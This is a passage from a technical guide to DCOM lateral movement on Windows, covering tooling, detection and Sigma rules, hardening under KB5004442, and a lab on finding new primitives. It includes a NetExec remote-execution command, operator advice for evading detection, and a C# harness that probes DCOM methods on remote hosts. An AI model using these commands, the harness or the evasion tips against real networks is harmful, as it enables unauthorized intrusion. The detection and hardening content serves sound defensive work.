NetExec exposes MMC20 execution as an SMB --exec-method with a configurable DCOM timeout ([14]):
nxc smb <target> -u user -p pass --exec-method mmcexec -x "whoami" # tune with --dcom-timeout
Also in the ecosystem
- Empire — module
powershell/lateral_movement/invoke_dcomcovering MMC20, ShellWindows, ShellBrowserWindow, ExcelDDE, RegisterXLL, plus aDetectOfficecheck ([3]). - SharpLateral (
reddcom), CsDCOM (rasta-mouse), and MoveKit round out C# delivery options; all are variations on the same three-line .NET primitive. - LethalHTA — standalone tool for the
htafile+moniker route (section 5.8) ([19]).
7. Detection and OpSec
DCOM detection works on four axes: process lineage, network, authentication, and the registry/disk residue of the planted-binary variants. No single axis is sufficient — the techniques were designed to look like administration.
Process lineage (Sysmon Event ID 1)
| Indicator | Meaning |
|---|---|
svchost.exe -k DcomLaunch → mmc.exe -Embedding |
MMC20 activation (5.1) |
svchost.exe → EXCEL.EXE /automation -Embedding |
Excel variants (5.4) — correlate; the flag alone is noisy ([25]) |
DllHost.exe /Processid:{AppID} |
DLL-hosted DCOM server start |
Second generation: mmc.exe → cmd.exe, explorer.exe → cmd.exe, EXCEL.EXE → child |
The payload itself; explorer.exe parenting points at ShellWindows/ShellBrowserWindow |
OUTLOOK.EXE -Embedding spawned non-interactively |
Outlook CreateObject (5.5) |
The canonical Sigma rule for MMC20 (f1f3bf22-deb2-418d-8cce-e1a45e46a5bd, level high) is deliberately minimal ([24]) — condensed:
# Condensed from Sigma f1f3bf22-deb2-418d-8cce-e1a45e46a5bd (high) [24]
detection:
selection:
ParentImage|endswith: '\svchost.exe'
Image|endswith: '\mmc.exe'
CommandLine|contains: '-Embedding'
condition: selection
Network (Sysmon 3, Zeek/Suricata, NDR)
- Sysmon 3: inbound TCP 135 to
svchost.exeplus a follow-on dynamic high-port connection; egress frommmc.exe/EXCEL.EXEafterwards is a beacon-grade anomaly. - DCE/RPC content inspection (Zeek
dce_rpc, Suricata):ISystemActivator/IRemoteSCMActivatoropnum 3RemoteGetClassObject/ opnum 4RemoteCreateInstanceagainst 135, thenIDispatch::GetIDsOfNamescarrying method strings —ShellExecute,ExecuteShellCommand— andInvokearguments in cleartext at Packet-Integrity level. Integrity is not encryption; only Packet Privacy hides these. This is the single most reliable content indicator in the chapter. - Workstation-to-workstation 135 is high-fidelity almost everywhere; legitimate DCOM administration concentrates on management hosts.
- Vendor analytics exist: Microsoft Defender for Identity raises "Remote code execution attempt" for MMC20/ShellWindows, and Elastic ships a prebuilt "Incoming DCOM Lateral Movement with MMC" rule.
Authentication and Windows events
- 4624 Type 3 on the target (every technique), 4768/4769 for the Kerberos path, 4648 on the source for explicit credentials, 4672 when the admin token lands.
- DistributedCOM 10010 (System log): the mobsync/abandoned-binary tell (5.7); 10006/10016 record DCOM denials — a spike is reconnaissance against launch ACLs.
- 10036/10037/10038: KB5004442 hardening rejections (section 8) — 10036 is server-side (logs user/SID/client IP of a below-integrity activation attempt), 10037/10038 client-side. An estate-wide watch on 10036 surfaces both legacy misconfigurations and relay tooling.
- "Audit DCOM Activity" exists as an advanced audit policy but is rarely enabled.
Image loads, files, registry (Sysmon 7 / 11 / 13)
- Sysmon 7:
.xllor unknown-DLL loads intoEXCEL.EXE(RegisterXLL);wshom.ocx(Outlook Wscript.Shell variant);iertutil.dllfrom a non-system path (InternetExplorer.Application hijack). - Sysmon 11/13:
ADMIN$writes, plantedmobsync.exe, staged.ppam/.xlsm, and — as a defender — tampering withLaunchPermissionvalues (an attacker who weakens an AppID ACL leaves a 13).
Tooling signatures and ETW
- impacket
dcomexec.py: output-file pattern\\__[0-9]{10}\.[0-9]{6,7}\s2>&1in command lines and share writes ([26]). - SharpMove:
proc_creation_win_hktl_sharpmoveSigma rule. - ETW: the
Microsoft-Windows-RPCprovider surfaces ORPC calls and is the substrate for endpoint sensors that do not parse DCE/RPC off the wire.
OpSec: to minimize your footprint as an operator: prefer ShellWindows/ShellBrowserWindow (no new COM host process) on hosts with an interactive session; keep payloads fileless (MMC20 command lines, ExecuteExcel4Macro, DotNetToJScript); authenticate with Kerberos by hostname to blend with admin tooling; and remember the artifacts you cannot remove — 4624 Type 3, the opnum 3/4 activation calls, and the method strings on the wire unless Packet Privacy is negotiated.
8. Hardening and the limits of KB5004442
What KB5004442 actually does
Microsoft's "DCOM Hardening" update (KB5004442, CVE-2021-26414) rolled out in three phases: opt-in June 2021 → enabled by default June 14, 2022 → mandatory March 14, 2023 ([22]). It raises the minimum activation authentication level to RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, enforceable via HKLM\SOFTWARE\Microsoft\Ole\AppCompat\RequireIntegrityActivationAuthenticationLevel=1. Consequences:
- Kills the unauthenticated and relay paths — notably the RemotePotato0-style OXID man-in-the-middle → NTLM relay chains ([21]).
- Rejects old clients that cannot do packet integrity, logging 10036 (server-side) / 10037/10038 (client-side).
- Does NOT stop authenticated admin DCOM lateral movement. Every technique in this chapter rides valid credentials at or above packet integrity; hardening changes nothing for them. Hardening is an anti-relay control, not an anti-DCOM control ([22]).
Warning: In OT environments this matters twice: OPC Classic (OPC DA) is entirely DCOM — the OPCEnum service, the same 135+dynamic-port footprint — and KB5004442 broke legacy OPC deployments that could not meet packet integrity. Expect environment-specific freezes of the hardening level and legacy DCOM exposure to coexist on industrial networks.
Attack-surface mapping
BloodHound models this exact abuse path as the ExecuteDCOM edge ([27]): during engagements, query it to find principals whose admin rights translate into DCOM-executable paths; during defense, use the same edge to prioritize which admin relationships to break first.
Defense-in-depth checklist
- Segment: block workstation-to-workstation TCP 135 + the dynamic range; restrict DCOM to management hosts/PAWs; disable inbound "COM+ Network Access (DCOM-In)" and "Microsoft Management Console" firewall rules.
- DCOM ACLs: in
dcomcnfg→ COM Security, Edit Default/Limits — remove Remote Launch/Activation from Administrators. Per object: take ownership ofHKCR\AppID\{guid}(from TrustedInstaller), set an explicitLaunchPermissiondenying remote activation, restore ownership, remove your own FullControl. Monitor Sysmon 13 for tampering with these values. - Disable DCOM entirely:
HKLM\SOFTWARE\Microsoft\Ole EnableDCOM="N"— effective but breaks remote WMI; test at scale before enforcing. - Identity controls: LAPS (unique local admin passwords), tiered administration with PAWs, Credential Guard, Protected Users (blocks NTLM DCOM/PtH; Kerberos DCOM still works), disable NTLM where possible. Monitor KB5004442 enforcement state estate-wide.
- Application control: block Office child processes, deploy ASR rules, keep Office off servers, block
mshta/ScriptControl.
Research Lab: Hunting New DCOM Lateral-Movement Primitives
Hunting hypothesis
The published set (MMC20, Shell*, Office, mobsync) is what survived triage of the full COM class list — it is not the whole list. Three classes of new primitives plausibly remain:
- Undiscovered dangerous methods on remote-activatable classes that inherit default launch ACLs — the exact property combination that made MMC20 abusable (no explicit
LaunchPermission+ a method taking a command/path string). - Abandoned registrations:
LocalServer32/InProcServer32paths whose binaries vanished (OS upgrades, third-party uninstalls) — the mobsync pattern generalizes, and bohops already showed a third-party instance (IntelCpHDCPSvc.exe) ([8]). - RunAs-Interactive-User classes beyond the two known shell objects, converting remote activation into execution inside a logged-on session — the stealthiest hosting model published so far.
Enumeration
Build the target list first; test later.
# 1. Inventory DCOM-visible applications (AppID, Name)
Get-CimInstance Win32_DCOMApplication | Select-Object AppID, Name
# 2. Flag classes whose LocalServer32 binary is MISSING on the target
# (abandoned-DCOM candidates, mobsync pattern) — sketch, run per-build (illustrative)
Get-ChildItem 'HKLM:\Software\Classes\CLSID' -ErrorAction SilentlyContinue | ForEach-Object {
$ls = (Get-ItemProperty -Path "$($_.PSPath)\LocalServer32" -ErrorAction SilentlyContinue).'(default)'
if ($ls) {
$path = $ls -replace '"','' -replace '\s+-.*$',''
$path = [Environment]::ExpandEnvironmentVariables($path)
if (-not (Test-Path $path)) { "$($_.PSChildName) -> $path (MISSING)" }
}
}
In OleViewDotNet ([23]), run as administrator and work the registry view:
- Filter for classes with no explicit launch ACL:
entry LaunchPermission == None— these inherit the machine default, the property shared by MMC20, ShellWindows, and ShellBrowserWindow. - For each surviving class, read the AppID's
RunAssetting (Interactive User is premium) and the class'sLocalServer32path. - Enumerate each class's exposed interfaces/methods from its type library; you are hunting
IDispatch-callable methods (late binding = callable from PowerShell without compiled proxies).
Triage heuristics
A candidate is promising if it checks most of these boxes:
- No explicit
LaunchPermissionon its AppID (inherits Administrators-friendly default). RunAs= Interactive User, or the default (launching user) — both were exploited historically.- Exposes
IDispatch(scriptable, late-bound). - Has methods whose names or signatures imply execution or file loading:
Execute*,Shell*,Run,Open,Add,Navigate,Launch, or a BSTR parameter that smells like a path/command. - Hosted by a signed Microsoft binary already present on gold images (no drop needed).
LocalServer32points at a non-existent or user-writable path (plant-and-activate).- Third-party AppID left behind by an uninstalled driver/utility.
Analysis workflow
Static checklist: registry (HKCR\CLSID\{clsid} → server path; HKCR\AppID\{appid} → RunAs, ACL) → type library method dump → rank methods by argument types (BSTR command/path args first, then integer-controlled behavior). Verify the host binary exists, is signed, and note its spawn flags (-Embedding, /automation).
Dynamic harness — loop candidates against a lab VM running Sysmon + Wireshark, log every HRESULT, and correlate with process creation (illustrative sketch):
// (illustrative) DCOM method-probing harness
foreach (var clsid in File.ReadLines("candidates.txt")) {
try {
Type t = Type.GetTypeFromCLSID(new Guid(clsid), TARGET); // CoCreateInstanceEx remote
object o = Activator.CreateInstance(t); // watch target for host spawn
foreach (var m in candidateMethods) // "ShellExecute", "Run", "Open", ...
try {
t.InvokeMember(m, BindingFlags.InvokeMethod, null, o, benignArgs); // e.g. calc.exe
Log($"HIT {clsid} {m}");
} catch (Exception e) { Log($"{clsid} {m}: {e.Message}"); }
} catch (Exception e) { Log($"{clsid}: activation failed {e.Message}"); }
}
On the target, correlate Sysmon EID 1 (new host under DcomLaunch; child processes) with your timestamps, and capture which activation opnum (3 vs 4) your probe generated on the wire.
Fuzzing/mutation ideas (DCOM method arguments)
Typed mutation beats blind bit-flipping here; the interesting space is the arguments, since the transport is mature:
- BSTR path/command args: UNC vs local paths, self-referential
\\127.0.0.1\ADMIN$, extension confusion (RegisterXLL loads by DLL semantics regardless of extension — test the same against every file-loading method you find), trailing-space and quote smuggling. - Boundary lengths: DDE showed the pattern —
Appcapped at 8 chars with auto-appended.exe,Topiccapped at 1024. Mutate around such caps in any string arg you find; off-by-one parsing inside a signed host is a memory-safety lead, not just an exec primitive. - Integer/window-state args:
vShow/WindowStateboundaries (0, 1, 7, negatives, huge values) — UI-state confusion and validation bugs. - Null/omitted optionals: several published primitives tolerate
$nullfor directory/operation args; probe which methods mis-handle missing VARIANTs. - URL schemes for Navigate-style methods:
file:, UNC, HTTP/S,.hta— each routes through different shell handlers with different UI/execution behavior; map which execute without prompts. - Authentication-level mutation: force below-integrity activation against KB5004442-mandatory builds and log 10036/37/38 behavior — identifies servers where hardening was rolled back (a target-selection signal).
- VARIANT type confusion in
IDispatch::Invoke: wrong-typed arguments, DISPID off-by-one — hunting parser crashes insideEXCEL.EXE/mmc.exe-grade hosts that upgrade a lead from "exec" to "memory corruption".
From lead to primitive
- Local activation first — loopback
127.0.0.1works, and ShellWindows-style loopback even lands in the interactive user's context; cheapest possible iteration loop. - Remote activation with lab admin creds; confirm the 4624 Type 3 and DcomLaunch spawning the host.
- Argument control: prove a chosen string lands in a child-process command line (Sysmon 1) or a chosen file executes (Sysmon 11 + 1).
- Reliability matrix: OS builds × application presence × interactive-session requirement; record failure HRESULTs precisely — remember
0x80080005still meant success for the mobsync pattern. - Hardening check: repeat against a KB5004442-mandatory build; your primitive must survive packet-integrity enforcement (it will, if it uses real creds) and you should document which rejection events a non-compliant client would raise.
- Publication bar: a new primitive = new CLSID + reproducible execution + a documented telemetry map (lineage, events, network strings). Check whether BloodHound's
ExecuteDCOMmodeling and existing Sigma coverage already catch your lineage — if they do not, say so; that gap is the contribution.
Further reading
- OleViewDotNet — James Forshaw's COM enumeration workhorse ([23])
- enigma0x3, Lateral Movement via DCOM: Round 2 — the ShellWindows/ShellBrowserWindow playbook ([2])
- bohops, Abusing DCOM for Yet Another Lateral Movement Technique — abandoned binaries ([8])
- MDSec, I Like to Move It: Windows Lateral Movement Part 2 — DCOM — XLM/shellcode in Excel ([9])
- SpecterOps, Abuse the Power of DCOM Excel Application — ActivateMicrosoftApp EOL proxy execution ([10])
- BloodHound docs, ExecuteDCOM edge — graph modeling of this attack class ([27])
References
[1] Lateral Movement Using the MMC20.Application COM Object — enigma0x3 (2017) — https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/ [2] Lateral Movement via DCOM: Round 2 — enigma0x3 (2017) — https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/ [3] Lateral Movement Using Excel Application and DCOM — enigma0x3 (2017) — https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/ [4] Lateral Movement Using Outlook's CreateObject Method and DotNetToJScript — enigma0x3 (2017) — https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/ [5] Leveraging Excel DDE for Lateral Movement via DCOM — Cybereason (2017) — https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom [6] DCOM Lateral Movement Techniques — Cybereason — https://www.cybereason.com/blog/dcom-lateral-movement-techniques [7] Abusing Exported Functions and Exposed DCOM Interfaces for Pass-Thru Command Execution and Lateral Movement — bohops (2018) — https://bohops.com/2018/03/17/abusing-exported-functions-and-exposed-dcom-interfaces-for-pass-thru-command-execution-and-lateral-movement/ [8] Abusing DCOM for Yet Another Lateral Movement Technique — bohops (2018) — https://bohops.com/2018/04/28/abusing-dcom-for-yet-another-lateral-movement-technique/ [9] I Like to Move It: Windows Lateral Movement Part 2 — DCOM — MDSec (2020) — https://www.mdsec.co.uk/2020/09/i-like-to-move-it-windows-lateral-movement-part-2-dcom/ [10] Lateral Movement: Abuse the Power of DCOM Excel Application — SpecterOps (2023) — https://posts.specterops.io/lateral-movement-abuse-the-power-of-dcom-excel-application-3c016d0d9922 [11] MITRE ATT&CK T1021.003 — Distributed Component Object Model — MITRE — https://attack.mitre.org/techniques/T1021/003/ [12] MITRE ATT&CK T1559.001 — Component Object Model — MITRE — https://attack.mitre.org/techniques/T1559/001/ [13] impacket dcomexec.py — Fortra (agsolino / byt3bl33d3r) — https://github.com/fortra/impacket/blob/master/examples/dcomexec.py [14] Execute Remote Command — NetExec Wiki — https://www.netexec.wiki/smb-protocol/command-execution/execute-remote-command [15] Invoke-DCOM.ps1 — rvrsh3ll — https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/master/Invoke-DCOM.ps1 [16] SharpMove — 0xthirteen — https://github.com/0xthirteen/SharpMove [17] SharpCOM — rvrsh3ll — https://github.com/rvrsh3ll/SharpCOM [18] SharpExcel4-DCOM — rvrsh3ll — https://github.com/rvrsh3ll/SharpExcel4-DCOM [19] LethalHTA — codewhitesec (2018) — https://codewhitesec.blogspot.com/2018/07/lethalhta.html [20] DCOM Lateral Movement with PowerPoint — attactics.org (2018) — https://attactics.org/2018/02/dcom-lateral-movement-powerpoint/ [21] Relaying Potatoes: Another Unexpected Privilege Escalation Vulnerability in the Windows RPC Protocol — SentinelOne — https://www.sentinelone.com/labs/relaying-potatoes-another-unexpected-privilege-escalation-vulnerability-in-windows-rpc-protocol/ [22] KB5004442 — Manage changes for Windows DCOM Server Security Feature Bypass (CVE-2021-26414) — Microsoft — https://support.microsoft.com (KB5004442 / CVE-2021-26414) [23] OleViewDotNet — James Forshaw (tyranid) — https://github.com/tyranid/oleviewdotnet [24] Sigma rule: MMC20 Lateral Movement — SigmaHQ — https://detection.fyi/sigmahq/sigma/windows/process_creation/proc_creation_win_mmc_mmc20_lateral_movement/ [25] FalconFriday: DCOM & SCM Lateral Movement (0xFF05) — FalconForce — https://falconforce.nl/falconfriday-dcom-scm-lateral-movement-0xff05/ [26] Hunting Impacket RCE Tools — misthi0s (2023) — https://misthi0s.dev/posts/2023-03-08-hunting-impacket-rce-tools/ [27] BloodHound — ExecuteDCOM edge — SpecterOps — https://bloodhound.specterops.io/resources/edges/execute-dcom